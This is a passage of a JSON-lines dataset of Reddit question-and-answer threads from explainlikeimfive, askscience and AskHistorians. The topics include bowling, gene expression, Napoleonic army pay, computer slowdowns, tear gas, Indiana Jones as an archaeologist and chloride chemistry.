knowledge, and we live in an age where information of all kinds is available to anyone who takes the time to look. \n\nAs has been mentioned before, we are rapidly approaching a point of economical automation.  Now more than ever, innovation and creation are more highly valued.  For those that think that plumbers and electricians and mechanics can't be replaced by robots and software, think again.  Its coming, and its coming a lot sooner than most people think.", "I'm speaking from my own experience but both my parents dropped out of high school and were pretty much forced into taking a trade and to this day they both struggle to pay the bills so throughout my childhood they told me I should go to college and finish high school"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://youtu.be/IRVdiHu1VCc"], [], [], [], [], [], [], []]}
{"q_id": "9sszz8", "title": "what\u2019s so hard about bowling for professional bowlers? i feel like if people get paid to bowl, they should be able to get strike every time as there isn\u2019t much variables to consider.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9sszz8/eli5_whats_so_hard_about_bowling_for_professional/", "answers": {"a_id": ["e9wpjfu", "e8r7ocv", "e8rs7kh"], "score": [2, 27, 3], "text": ["This is one I can explain as this is what I do for a living.  Pro Bowlers do strike often on your typical house patterns as they are made with more oil in the middle and less on the outside.  Think of a putting surface that is sloped as a funnel to the hole.  Most pros have 50+ 300 games and a few of my friends are eclipsing 150.   The difference is on tour, we don't bowl on these type of patterns but rather much flatter patterns.  Think like the British Open for golf.  Another variable is everytime a shot is thrown, oil is removed from the lane (on the ball).  With the pattern being changed, it effects ball motion over X amount of shots.  Throw in other people and how they play the lanes and transition happens quickly.  Then add the higher rev rates on tour and transistion is even faster.  In addition to all this, bowling balls are all different.  They are essentially golf clubs without the number.  Depending on the core size and shape along with the coverstock and also how the ball is drilled, a ball can be made to do a lot of different things.  The governing body came out with a study years ago that counted 17 factors that affect ball motion in the game.  ", "Different lanes make the ball and movement change.  They put oil down in different patterns so that each lane is a little different.  So each throw they\u2019re basically learning the oil of the day and lane, and must fine tune their throw to adjust for the differing conditions. Source: Me, a bowler. ", "I guess i can explain this with the sport i\u2019m passionate about which is racing. Top level drivers are incredibly consistent (as are top level bowlers) yet there is still a discernible difference in lap time. not only from driver to driver, but also from lap to lap (as the same driver). while they are incredibly consistent, it\u2019s just hard. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "31j5r9", "title": "How does running effect gene expression? What does that mean?", "selftext": "I have heard that when people run on a consistent basis, that it have a positive effect on gene expression. What does this mean? If someone who did not run before began to run consistently, what changes would one witness in that person in terms of gene expression?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/31j5r9/how_does_running_effect_gene_expression_what_does/", "answers": {"a_id": ["cq23cn8", "cq2nevk", "cq3g6q1"], "score": [18, 5, 3], "text": ["Im on mobile, so this will be quick with a source. But, stresses on the body causes differential gene expression to create proteins designed to help the areas that are stressed. Since we are not as physically charged as our prehistoric ancestors we don't have the same amount of gene expression in certain areas. It's theorized that physical activity helps \"normalize\" our levels of gene expression based on our prehistoric ancestors in which our genome was built.\n\n_URL_0_", "Just about any activity you do a lot has some effect on gene expression.  \n\nEver notice how you get tired and/or are physically bad at some things, but the more you do them, the better you get?  That's gene expression.   Even tolerance to alcohol or drugs is gene expression, ultimately.  Some things get up regulated, other things get down regulated on the cellular level.\n\nWhen it comes to running, I have heard for example that AMPK-activated protein kinase gets up-regulated, which is involved in cell metabolism, specifically fatty acid oxidation.  It's a good thing to have this upregulated if you are doing endurance exercise -- as the more efficient a fat burner you are, the less you rely on a limited supply of glucose and the more access you have to fats during exercise.  Athletes (and ketogenic dieters!) typically are much better fat burners than your average untrained sedentary human, and this is a gene expression-related thing.\n", "Gene expression simply refers to the types and amounts of transcripts(RNAs) produced by genes in a genome. \n\nThere are many ways and multiple levels at which gene expression can be controlled. Many of these level have a kind time frame associated with them. For example, DNA binding proteins can turn expression on and off quite quickly, whereas, chromatin remodeling (DNA is wound around chromatin) could have long term effects on the expression of a gene. Or even more long term such as DNA methlyation that chemically alters the DNA in a region (I have heard of studies showing that these patterns can be passed to offspring)\n\nYou need to consider the types of transcripts that are produced. There are four main types of genes in eukaryotes: protein coding, pseudogenes, long non-coding RNAs (lncRNA), and short non-coding RNAs. There are numerous subtypes of each of these here is a good link explaining them if you are interested _URL_1_\n\nBelieve it or not the majority of human genes are not protein coding but lncRNAs. Although, this is a bit misleading as protein coding genes are generally expressed at much higher concentrations. Furthermore, protein coding genes are much more ubiquitously expressed than lncRNAs. In fact many lncRNAs seem to be tissue specific citation: _URL_0_ . Explaining lncRNAs function in a general way is a bit difficult but many are known to be involved in regulation of gene expression. \n\nSo what effect would running have on gene expression? First this would be highly dependent on the tissue and time you measured (circadian rhythms also seem to have a wide reaching effect on gene expression _URL_2_). (From here is just speculation) However, generally speaking, in the short term you would see lots of proteins for repair or growth being made such as myosin (muscles) and or hemoglobin (for carrying oxygen in blood). You might also see some lncRNAs getting produced that control the strength of the response your body has to the exercise. Then over the long term your genes might get modified to have less of a response to exercise in order to conserve energy.  Your blood carrying higher hemoglobin concentrations would carry more oxygen requiring your average heart rate to become slower. Which could cause all kinds of regulator changes in your heart. Lower pulse causes changes in your arteries... You can see how complicate this gets and saying something has a positive effect on gene expression is kind of impossible. Although running would certainly have a positive effect on most people's health.  \n\n\n\n \n\n\n\n\n\n\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2290514/"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/22955988", "http://vega.sanger.ac.uk/info/about/gene_and_transcript_types.html", "http://www.pnas.org/content/111/45/16219.short"]]}
{"q_id": "26opj5", "title": "In 1812, how much was Napoleon's Grande Arm\u00e9e paid compared to its adversaries?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/26opj5/in_1812_how_much_was_napoleons_grande_arm\u00e9e_paid/", "answers": {"a_id": ["cht1x3c"], "score": [40], "text": ["A normal solider of the line was paid 30 centimes per day. During peacetime at garrison, the soldier had to pay for most of his food. On a war footing, he received his field rations on top of his pay. When he was on the march, he received his pay plus his ration of *pain de munition*. If a soldier went into hospital or the guardhouse (jail) or on extended leave, his pay was reduced. \n\nSpecialists, like grenadiers, carabinier, voltigeur, sapeur d'infantrie, cuirassier, carabiner a cheval or artillerymen all drew higher pay. Long service bonus of 100 centimes (1 franc) was paid a month after 10 years continuous service. 15 years of service would net him 1.5 francs and 20 years, 2 francs extra a month. There was also a bonus of 50centimes a day if he was required to work on fortifications. Troops stationed in Paris and Northern Italy drew special allowances for increased cost of living. \n\nAt the end of the day, 30 centimes is whittled down to 5 centimes a day after stoppages (food/uniform/washerwoman/upkeep) to spend on tobacco/wine/women/games.\n\nSource - Swords around a Thrown: Napoleon's Grande Armee - by J R Elting"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fcw240", "title": "if computers can process a billion tasks in a second, what actually happens when your computer gets really slow and takes 2 minutes to open the browser?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fcw240/eli5_if_computers_can_process_a_billion_tasks_in/", "answers": {"a_id": ["fjdaiip", "fjdam1j", "fjdr34k", "fje1kgz", "fje8vqa", "fjeov3c", "fjet5hg", "fjevc5d"], "score": [3, 37, 205, 21, 2, 4, 3, 2], "text": ["There can be a variety of reasons but one example:\n\nComputers have a lot of ongoing tasks and processes which are depending on eachother since they all have to share time on the same processors.\n\nOften these timeouts occur due to an interdependency where a thread or process is waiting for it's turn, but the precious task or process has stalled (perhaps waiting for an input from another one). \n \nThere are optimizations in place to prevent this to a certain degree but due to the large amount of potential programs, tasks, processes and activities interacting with eachother it still happens, even on high end systems.", "A \"task,\" for the purposes of your sentence above, is simply adding two numbers together.  There is a massive amount of \"tasks\" involved with even simply drawing a square on your screen.  Opening a program involves loading it into memory, performing trillions of tasks to set it up, performing trillions more to start interpreting a web page, performing trillions more to display that page to your screen, etc etc...", "The primary reason you experience these slowdowns is resource contention.\n\nYour processor is rarely the bottleneck in your system. If all you want to do is a simple mathematical operation on a small amount of data, your processor can churn away at billions of tasks per second.\n\nBut that's rarely what you want to do. Most of what's going on in your computer is moving data from one location to another - one resource to another. When you have a large number of different processes all trying to move resources over the same limited channels, you often run into problems where multiple processes want to use the same limited resource and have to wait their turn.\n\nThink of it like traffic on roads. Normally, it might take you 15 minutes to get to the grocer. But as you increase the total traffic, that time starts to spike upwards because there are other people using the roads you need to use.", "Most of these answers aren't *wrong* per se - but when it comes to loading programs (like your browser) the main thing that's really bottlenecking the whole process is the speed of your disk. \n\nYour CPU and other components can't process jack until the program is pulled off your main drive and loaded in to RAM. Main disks (especially traditional spinning hard drives) are some of the slowest components in your computer, so the rest of the machine is stuck waiting for it to finish. \n\nThat's why many modern systems ship with an SSD as their main disk instead of a traditional hard drive; since SSDs don't have any mechanical parts they're WAY faster and and significantly cut down on loading times. \n\n & #x200B;\n\nNow, if your program is still acting slow after it's already been loaded THAT'S when you need to start considering other factors like there being too little RAM, thermal throttling, unoptimized code, etc...", "if the web page you're trying to open includes a poorly written script, it can bog everything down.  a script that doesn't account for the possibility that some online resource it requests might be unavailable could hang while it's waiting for a response that never comes-- it might stay hung until the operating system kills it.  or if the script contains a mistake that causes it to go into an infinite loop (or even an extremely long loop), that also can get the system bogged down.  also programmes that don't handle memory resources properly-- when you're finished with a value in memory, you're supposed to free the memory up, if you don't you create a memory \"leak\"-- can suck up all the computer's memory, jamming up the whole system.", "Short answer: theres a lot of things happening behind the scenes, some of which are waiting on other things to happen first.  \n  \nThink about making a cake but only working with the recipe instructions one line at a time.  \n  \nStep 1 Get flour: Simple the flour is right here already in the bowl on the counter, wont take any time to fetch (CPU Cache * special cpuRAM)  \n  \nStep 2 Get sugar: Less easy, I need to spend a few moments walking across the kitchen to the cupboard and fine where the sugar is, then bring it back (RAM)\n  \nStep 3 Get eggs: Not as simple they are in the fridge (Harddrive) it's going to take me a few minutes to walk down into the basement, open the fridge (Harddrive) and find the eggs.  \n  \nStep 4 Get butter: Oh no, there isn't any in the house, I'll need to drive to the store (Internet) to buy some.  \n  \nAt any one time you might not be able to predict what comes next.  You might waste 2 minutes going to fetch 1 egg only to come back and find out you need to go get 1 more. Over and over again.  \n  \nWhen opening a browser, your computer will need to fetch the browsers program from your hard drive and put it in RAM which takes time.  Then run the code, moving the important parts from RAM to CPU as needed. The browsers code will execute and before it even loads on screen it may have to fetch stuff from the internet, updates, your last viewed webpage, it may have to log you in. Then it loads as far as you can tell, even though it's been starting up in the background for a few ms.  The core browser software is complicated and this translates to many billions of simple machine operations that all stack together to form what you see on screen.  \n  \nAdditionally, the code the browser is running is dependant on other parts of your system, that also have to go through the same process.  How does windows know you want a browser window on the desktop. How will the browser interface with your network card.  \n  \nAll of this assumes that you computer is in ideal condition and is not bottlenecked by size of RAM (space on the cake making counter) or by the speed at which you can fetch stuff from the Hard drive (distance to the fridge / store).  If your family members are all also trying to cook at the same time, you are going to run out of space, and might find yourself fighting for counter space( RAM) needing to put ingredients away to make space or queuing to get at the fridge ( harddrive).", "In addition to the things others have already explained, there's also the issue that while our computers have gotten really fast the people who tell the computers how to do things for you (programmers) have, on average and with some noteable exceptions, stopped caring about telling the computer how to things *efficiently*.", "Usually memory resource issues (is the chunk of RAM you need written out to swap, and needs to be brought from disk back to RAM?) and/or storage speed (spinny disk? well, they're slow as hell. BIG spinny disk? even slower!).\n\nCPU speeds are almost never the issue, though if you don't have a GPU and your CPU is instead doing some co-processing, or a bunch of math needs to be done, or if your computer is working on encryption or something else, the CPU can slow up a bit.\n\nComputer \"speed\" to a user is really about how the whole computer works together."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "5wdv9n", "title": "Why does the top quark never hadronize?", "selftext": "If the top quark has a half-life about one-twentieth of the time required for hadronization by the strong interaction, wouldn't one in a million top quarks hadronize?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5wdv9n/why_does_the_top_quark_never_hadronize/", "answers": {"a_id": ["de9jtz6"], "score": [2], "text": ["Not going to present this as an answer because I don't know the answer.  So I'm just asking a speculative question in addition to yours:\n\nWouldn't any (one-in-a-million) such hadron be extremely unstable and basically decay almost immediately after forming, basically being just a resonance and not really an unstable particle?  I would think that this would make any super-short-lived hadron containing a top quark virtually impossible to observe or measure the properties of -- is this correct?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6fax3z", "title": "When did customers start to expect bags for their purchased items?", "selftext": "(For this question, I am ignoring the new trend of bringing reusable bags to the store.)\n\nWhen I watch shows or movies set long ago, the people at market carry bags or baskets for the things tbey are purchasing. Now, with the exception of one store (Aldi's is the one store I know, there may be more), customers expect that the store will have free bags for them. \n\nWhen/Why did this happen? Was it a form of advertising? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6fax3z/when_did_customers_start_to_expect_bags_for_their/", "answers": {"a_id": ["dihp5ld"], "score": [2], "text": ["The icon below my questions shows that there is one response, but I can't see it. All that shows up is the \"Wow much empty\" statement.\n\nAnyway, I realized that I should have stated this is in the US. I've never had the opportunity to travel abroad so I realize that it may be different in other countries.\n\nAnyone out there have any thoughts?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6yr32r", "title": "How would we catch a probe from an interstellar civilization that's travelling around 17km/s?", "selftext": "I watched the video of the [Golden Record being decoded](_URL_0_) and started wondering that *if* Voyager 1 or 2 reaches a star system with planets, with civilization, how would they go about retrieving it? Do we have anything that can go out into space, rendezvous with a probe, catch it, and bring it back safely to earth? And if we or another planet with life doesn't have the capability, do we just say, \"Well, I bet that was something interesting.\" and forget about it? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6yr32r/how_would_we_catch_a_probe_from_an_interstellar/", "answers": {"a_id": ["dmq74r7"], "score": [4], "text": ["The closest to what you're asking were the Space Shuttles when they were still functional. They could rendezvous with an object in orbit and, if it fitted in its cargo bay and wasn't too massive, it could be brought back to the ground safely. In fact they did this with the ISS' MPLM modules several times. Since they were decommissioned, as of today we don't have a spacecraft to do this.\n\nAnyway the shuttles were not designed to fly beyond Low Earth Orbit (LEO). Their Environmental Control and Life Support Systems were not regenerative, i.e. they relied on consumables with no significant recycling, so they couldn't stay in orbit for a very long time before relying on Earth for supplies. For that reason, plus their limited fuel, they never flew beyond LEO.\n\nMust also mention that those 17 km/s only make sense in the outer solar system. If it comes any closer to the Sun, its gravity will speed it up significantly. It would become 42 km/s or more when it crosses Earth's orbit. (If it's shot in a random direction it's unlikely to come close... but then WE will have to move at nearly 42 km/s to reach a very high distance and catch it). In any case it will require an unrealistic amount of fuel to get there and back again.\n\nAnother issue that comes to my mind is attaching the probe to the cargo bay. Does it have proper attachments to fit safely, or will the softer parts like antennae break? Also, will it resist the acceleration during reentry? If it wasn't designed specifically for it, I think it's unlikely.\n"]}, "title_urls": [], "selftext_urls": ["https://youtu.be/ibByF9XPAPg"], "answers_urls": [[]]}
{"q_id": "2zmefw", "title": "given the incredible medical treatments presently available to mice, what is the best estimates for how long we can prolong murine lifespans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2zmefw/eli5_given_the_incredible_medical_treatments/", "answers": {"a_id": ["cpk8vjm"], "score": [12], "text": ["This is by far the most entertaining thing I've seen on ELI5 to date. Well done."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3mtgqa", "title": "russia's close ties to arab nations", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mtgqa/eli5_russias_close_ties_to_arab_nations/", "answers": {"a_id": ["cvi07iw"], "score": [24], "text": ["During the cold war, there were essentially three options for small countries:\n\n\n1) Be friends with the United States\n\n2) Be friends with the USSR (most of which is now Russia)\n\n3) Go the \"neutral\" route, like India, although this wasn't always guaranteed. If a small country wanted to be neutral there was a good chance they would be invaded by either the USA or USSR, to make it be their friend before the other side could.\n\n\nThis led to many \"proxy\" wars, where one side would fund rebels in a country allied with the other side, trying to get it to switch over to their side. Examples include Vietnam, Cuba, and Afghanistan. If one side supported a government or rebel group during the Cold War, and that government/group eventually lost, the people living there today tend not to be friends with whoever was involved. This factor was already discussed by u/YourResidentRussian, although obviously with a pro-Russian bias.\n\n\n\nAlso, today countries basically only have two options: \n\n\n1) Be friends with the USA.\n\n2) Don't be friends with the USA (this means you need an alternate big-country friend, usually Russia or China)\n\n\nSo many Arab countries actually took option #1 and are friends with the USA, including Saudi Arabia, Jordan, Israel, Kuwait, Qatar, Bahrain, Iraq and Afghanistan (those last two were not really by choice). \n\n\nSyria and Iran, along with a few others, went with option #2, largely because they have some historical reason to distrust the USA, and may have had Cold War ties to the USSR. Its not necessarily that they want to be great buddies with Russia, just that they are NOT friends with the USA, so Russia was one of their only alternatives."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18xsc8", "title": "Could a bullet made of frozen blood really be more effective than a bullet made of water?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18xsc8/could_a_bullet_made_of_frozen_blood_really_be/", "answers": {"a_id": ["c8ixzm5", "c8iyvim"], "score": [23, 4], "text": ["First of all, blood is ~80% water, so the same general problems with ice bullets still apply.  In addition to that, blood has a whole bunch of stuff dissolved in it that disrupts the formation of ice crystals and mechanically weakens the frozen phase.  So, a bullet made from frozen blood would actually be worse than an ice bullet!", "I don't know if it constitutes an authority as per the side bar, but Mythbusters had an episode dealing with frozen water / meat / gelatin bullets, ['Magic Bullet'](_URL_0_).  **TLDC: Busted.**\n\nBut blood bullets could potentially have higher lethality than ice bullets.  The trick would be to keep from infecting yourself with the HIV / ebola / whatever blood-borne disease that'd be contaminating your weapon and be misted out whenever you fired."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/MythBusters_%282003_season%29#Magic_Bullet"]]}
{"q_id": "cu8qpt", "title": "tear gas. what is it and what does it do to the body?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cu8qpt/eli5_tear_gas_what_is_it_and_what_does_it_do_to/", "answers": {"a_id": ["exs7541", "exs77wc", "exsd1ee", "ext8no5"], "score": [62, 6, 2, 2], "text": ["You know mace/pepper spray?\n\n & #x200B;\n\nPackage that up with a minor explosive/propellant and you have tear gas.\n\n & #x200B;\n\nIt's not simply capsaicin, there are more chemicals in it. What they do, they irritate the eyes and cause them to swell. This is where it gets it's name, as the eyes produce tears to wash it out. It then enters the lungs, where it causes immense irritation, causing coughing. Sensitive areas of the skin, like those around the eyes, will begin to get irritated and start bo burn. It is immensely effective at making someone stop what they are doing.\n\n & #x200B;\n\nInterestingly, it is OK'd to be used as Riot Control, but cannot be used as a weapon during wars, as it violates the CWC. This is because tear gas can be made into a toxic compound that is essentially mustard gas.", "Tear gas is any number of aerosolized chemicals that cause irritation of the mucous membranes, leading to eye and respiratory pain, breathing difficulty, and skin irritation, In the eye, it stimulates the nerves of the lacrimal gland to produce tears.", "I can't answer exactly what it is but I can tell you how it feels, having been CS gassed a few times. It sucks. Feels like you're drowning in air. Mucous floods out your nose. Your sinuses and eyes burn like hell And if you take a deep breath, your chest/lungs will feel like they are on fire. Within five seconds of escaping the gas you can breath like normal and your sinuses are clearer than ever. It's mostly safe but I think it can kill you in rare cases or if you have a medical condition. I think you actually have more of a chance getting killed by the canister being launched at you than the gas itself. Not sure.  I'd much rather be tased than ever sit in CS again.", "You know how sometimes when you cut an onion you cry?  \n\nYou know how when eating horseradish or some mustards, it makes your sinuses burn?\n\nTear gas is made from the very effective forms of those sinus/eye irritating chemicals.  So it's like cutting sacks full of onions while bathing in horseradish."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9qqmtt", "title": "Is Indiana Jones a good archeologist or is there some things he isn\u2019t doing right?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9qqmtt/is_indiana_jones_a_good_archeologist_or_is_there/", "answers": {"a_id": ["e8b5pud", "e8bfuaq"], "score": [43, 3248], "text": ["A side question on the history of archeology, would Dr Jones have been a good or bad Archeologist in his period?", "*(This is an extension of my thoughts [here](_URL_0_))*\n\nFrom the available biographical evidence, we have every reason to believe that Indiana Jones is a good archaeologist. I've previously covered [what training Indiana Jones would have received](_URL_1_), what professors he would have had, and who his colleagues might have been. I've also looked into [what kind of school he taught at](_URL_2_)\n\nHowever, not much more can really be said about Indiana Jones' archaeological methodology, because we rarely see him in anything but extraordinary circumstances. The majority of the films are about him acquiring precious or powerful artifacts before someone nefarious does:\n\n* The Hovitos idol in the opening of *Raiders*, which Indy must get before Beloq\n* The Ark of the Covenant in *Raiders*, which Indy must find before the Third Reich uses it to conquer the world\n* The Sankara stone in *Temple of Doom*, which Indy must recover (there's nothing vageuly archaeological in the whole film, the entire film is set in towns/palaces/temples that are still in use)\n* The cross of Coronado in the opening of *Last Crusade*, which Indy tries to steal from looters\n* The Holy Grail in *Last Crusade*, which Indy must again reach before a Nazi officer uses it\n* The eponymous *Crystal Skull*, which Indy must steal back from the Soviets\n\nThe only instance where we see Dr. Jones doing any kind of research or, really, any kind of search that he instigated himself, is at the start of *Raiders*. The opening shots clearly show a well-equipped team loaded with all kinds of equipment for a proper excavation. It's not long before Indy realizes something is up. He takes Satipo alone into the Hovitos temple, and proceeds through it with extreme caution, showing the requisite skills for any archaeologist: keen observation, knowledge of the cultural context, and careful steps to avoid damaging the architecture or himself. Fully aware that there are less scrupulous people after him, Indy is very much in the right to take the idol and leave. Soon he is betrayed and captured, and we're left without knowing anything else of Indy's own interests.\n\nI'll admit that Indy's trek into the rat-infested tomb under Venice shows him in a more negative light- he rips some burial cloth for a torch. But when he and Elsa reach the knight's sarcophagus, Indy does a non-destructive rubbing of the lid, which, given the time constraints and non-feasibility of photography, seems reasonable. \n\nIndiana Jones is not a tomb raider because we never see him to set out to raid tombs. He clearly meant to do much more at the Hovitos temple than was actually done. He takes the Ark of the Covenant, or attempts to, so that the Nazis can't access the full power of God. He steals the Sankara stone back from the murderous cult that stole it from its proper owners. The entire point of the *Last Crusade* is that Indy is not interested in the goose chase that his father has gotten caught up in, but in spite of this must take a literal leap of faith to save his father and prevent the Nazis from getting the key to immortality. **If the question is tomb raiding or all-powerful Nazis, the correct answer is tomb raiding.**\n\nIf he's not a tomb raider, then what is he?\n\nThe Indiana Jones films are explicitly modeled after the pulp magazines, radio shows, and early comic books of the 1930s-1940s, as well as the adventure novels of the preceding decades. There's a clear inspiration for Indy in Allan Quartermain, Professor Challenger, and Doc Savage: characters whose bravado or inquiry lead to run-ins with exotic tribes, Lost Worlds, and ancient legendary ruins. This is the same tradition that gave us the secret identity: The Spider was  > !Richard Wentworth! < , The Shadow was  > !Kent Allard! < , and Batman was  > !Bruce Wayne! < . In a literary sense, Indiana Jones falls right into this trope. He's a vigilante who hides his activities from the public, but is known by an elite few for his exploits and by a trusted team of supporting allies. \n\nFor this reason, I would argue that Indiana Jones is an archaeologist in the same way that Hal Jordan is an Air Force pilot or Peter Parker is a news photographer. Hal Jordan's pilot skills help him as a Green Lantern just as Indiana Jones' archaeology skills help him as an adventurer. The stories we see about him don't show him in his civilian career, but in pulp hero mode. \n\n___\n\nBut what of the archaeology of it?\n\nWhat Dr. Jones is doing is what we would call surface collection or salvage archaeology. Before any excavation, and sometimes during the initial survey and registration of a site, a team will collect artifacts that can be found on the surface, This will be done systematically and unobtrusively. Some archaeologists will plot transects (i.e. parallel, regularly spaced lines) that a team will walk across to record features, identify locations of high artifact concentration, and, as necessary, collect surface artifacts. Other projects prefer to this in grids, plotting out regular boxes that can be then assigned values. In either case, should artifacts be collected, their original location will be noted on a hand drawn map or with a GPS point, and they will often be photographed in situ. \n\nWhy would archaeologists do this? \n\nFirst of all, because these artifacts are on the surface, it is unlikely that they are what we call a \"primary deposition,\" that is, where the culture that used it left. It is likely a case of secondary deposition, decontextualized by burrowing animals, erosion, or agricultural activity. Thus, we only lose so much information by collecting it. There is an entire disciple called \"taphonomy\" that is dedicated to the study of how things end up where they do, but, even then, the amount of taphonomic information on the surface is limited.\n\nSecond, surface artifacts are very helpful for understanding a site before excavation, and therefore directing where further research takes place. Excavation is costly and destructive, and should be done as little as possible. Archaeologists want to be sure that any excavation they do will offer useful data. The form of artifacts can inform what kind of activities were happening in area, their style can help date the site, and their area of distribution can help define the coverage of habitation.\n\nLastly, surface collection can be necessary in areas where looting is a real and present danger. An archaeological dig is a beacon for looters. In my own work, I've returned to an operation in the morning and found shovels and stacks of ceramic sherds left by lazy looters in nearby tombs. When artifacts are sitting in the open and looters are known to be active, it is much better to extensively document those artifacts and collect them than it is for them to be looted and never seen again.\n\nThus, in the situation where a golden idol is sitting on a pedestal at a site you're about to excavate with a series of spikey traps in front of it, *you grab that idol.*\n\nI mentioned salvage archaeology because that's the closest real-world correlate to getting the Ark of the Covenant before the Nazis do. There's an entire commercial field of archaeology called contract archaeology or Cultural Resource Management (CRM). In many countries, before major construction can begin, a contractor must submit an impact statement showing that the construction will not have a substantial environmental or geological impact. They must also prove that it won't have detrimental archaeological impact. If the state is building a highway bypass, or an electrical company is building a new line, or a town wants to institute a new technological park, they will hire a CRM team to survey the land that will be built on. We go out, dig a series of test pits, and look for any evidence of occupation. This is quick and dirty work. On my best days I could dig 25 of these \"Phase 1\" test pits. Unlike the slow, careful survey I describe above, Phase 1 CRM surveys try to cover as much ground as possible as quickly, but as orderly, as possible. You dig a hole (something like 30cm x 30cm, and down until you hit bedrock or sterile clay), you record the soil strata, and mark if you found any cultural material. Then you move on. When a hole is positive, you might dig some more in a grid around it. If there's a large cluster of positive test pits, you might move on to Phase 2: carefully excavating 1m x 1m test squares to identify cultural features (e.g. post holes, trash pits). If you've got cultural features, a Phase 3 excavation might be begin- you've got a site!\n\nYou've also (usually) got a mad construction company. One week you're excavating is one week they're not building and one week their client has to wait. The fact that any archaeological survey is happening is great. But the pressure is always there to get moving so other folks can get building. There are great CRM firms, and I was privileged to work for an incredible one. There are also terrible ones. But in both cases, you are operating with the knowledge that everything you see is about to be destroyed to make way for a road, building, or parking lot. That means that if we do a Phase 2 operation and don't find any cultural features, we go in with a bulldozer to scrape away huge swaths of dirt 10cm at a time. Is this destructive? Heckin' duh. But it's exactly what's going to happen to the land anyways. It's a last ditch effort to find and salvage any cultural material that may be there.\n\n__\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/Archaeology/comments/2lx5eh/indiana_jones_would_be_considered_a_looter_why/clzcof1/", "https://www.reddit.com/r/AskHistorians/comments/3qdkcs/what_kind_of_history_would_indiana_jones_have/cwecjyq/", "https://www.reddit.com/r/AskHistorians/comments/7bg4il/in_indiana_jones_and_the_raiders_of_the_lost_ark?sort=confidence"]]}
{"q_id": "79gf57", "title": "[chemistry] Why does Cl- not form Cl2 in water?", "selftext": "I work in water treatment but I'm not a chemist. I'm seriously considering further education because the more I learn the more I want to know.\n\nI use drop-test kits and a typical water sample can contain 30ppm Cl- (chloride) , 0.3ppm ClO- (free chlorine) and 0.4ppm Cl2 (total chlorine)\n\nWhat stops the Cl- from becoming Cl2?\n\nWhy does my total chlorine test kit not pick up the chloride?\n\nWhat would have to change in order to make the Cl- form covalent bonds and become Cl2?\n\nWhat are some good sources of information on water chemistry? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/79gf57/chemistry_why_does_cl_not_form_cl2_in_water/", "answers": {"a_id": ["dp1qy5w", "dp1rpau", "dp1s0l5", "dp1s6b1", "dp1syoh", "dp1tumt", "dp1tvca", "dp1uahm", "dp1uyrg", "dp1v0q2", "dp1xvzb", "dp2bcoj", "dp2f53v", "dp2n3g2", "dp2x5sz"], "score": [49, 1809, 74, 7, 2, 3, 2, 4, 23, 3, 3, 3, 2, 2, 2], "text": ["The octet rule states most elements \"want\" 8 valence electrons in their outer (bonding) shell. This makes them most stable. In the case of chlorine, you can see it is towards the far right of the periodic table. Each new row of the table begins with 1 valence electron and continues across. Because of chlorines position in its row, you can see that it has 7 valence electrons in a neutral state (and when it is in Cl2). This means it really really wants that last electron to fill its outer shell, due to the octet rule. Thus, it is usually Cl-. This is especially the case in solution, because water is great at dissolving, making it practically impossible for 2 Cl- to be oxidized to make Cl2 without some sort of catalyst. To learn more try looking up these terms:\n\nElectronegativity\nOrbitals\nShells\nElectron shielding\nIonization energy\nPeriodic trends", "Cl- is a chloride anion. It has a negative charge because it has one extra electron in its valence shell (it would've gained this by forming an ionic bind, a bond where one atom gives up an electron entirely, typically a metal). \n\nWater is a polar molecule so ionically bonded compounds such as NaCl can disassociate into there constituent cations and anions (Na+ and Cl- respectively in this example)  \n\nSo if two chloride ions approached they would repel each other because they are both negatively charged. In the exact same way that the negative ends of two magnets would repel each other.\n\nHowever if two elemental atoms of Chlorine were to collide they would both seek to fill there valence shell by each sharing one electron amongst both of them forming a covalent bond and thus a Cl2 molecule.\n\nIf you're thinking about studying Chemistry I couldnt recommend it enough. Science is totally dope", " > What stops the Cl- from becoming Cl2?\n\nChloride (Cl-) and Chlorine (Cl or Cl2) are pretty different even though they sound very similar. Chloride (Cl-) has that negative symbol because it \"stole\" an electron from a weaker element. (Most likely Sodium (Na) aka Sodium Cloride, NaCl). Once Cl- has stolen that electron, its \"happy/fulfilled\" and will no longer react with other chemicals (there's exceptions of course)\n > Why 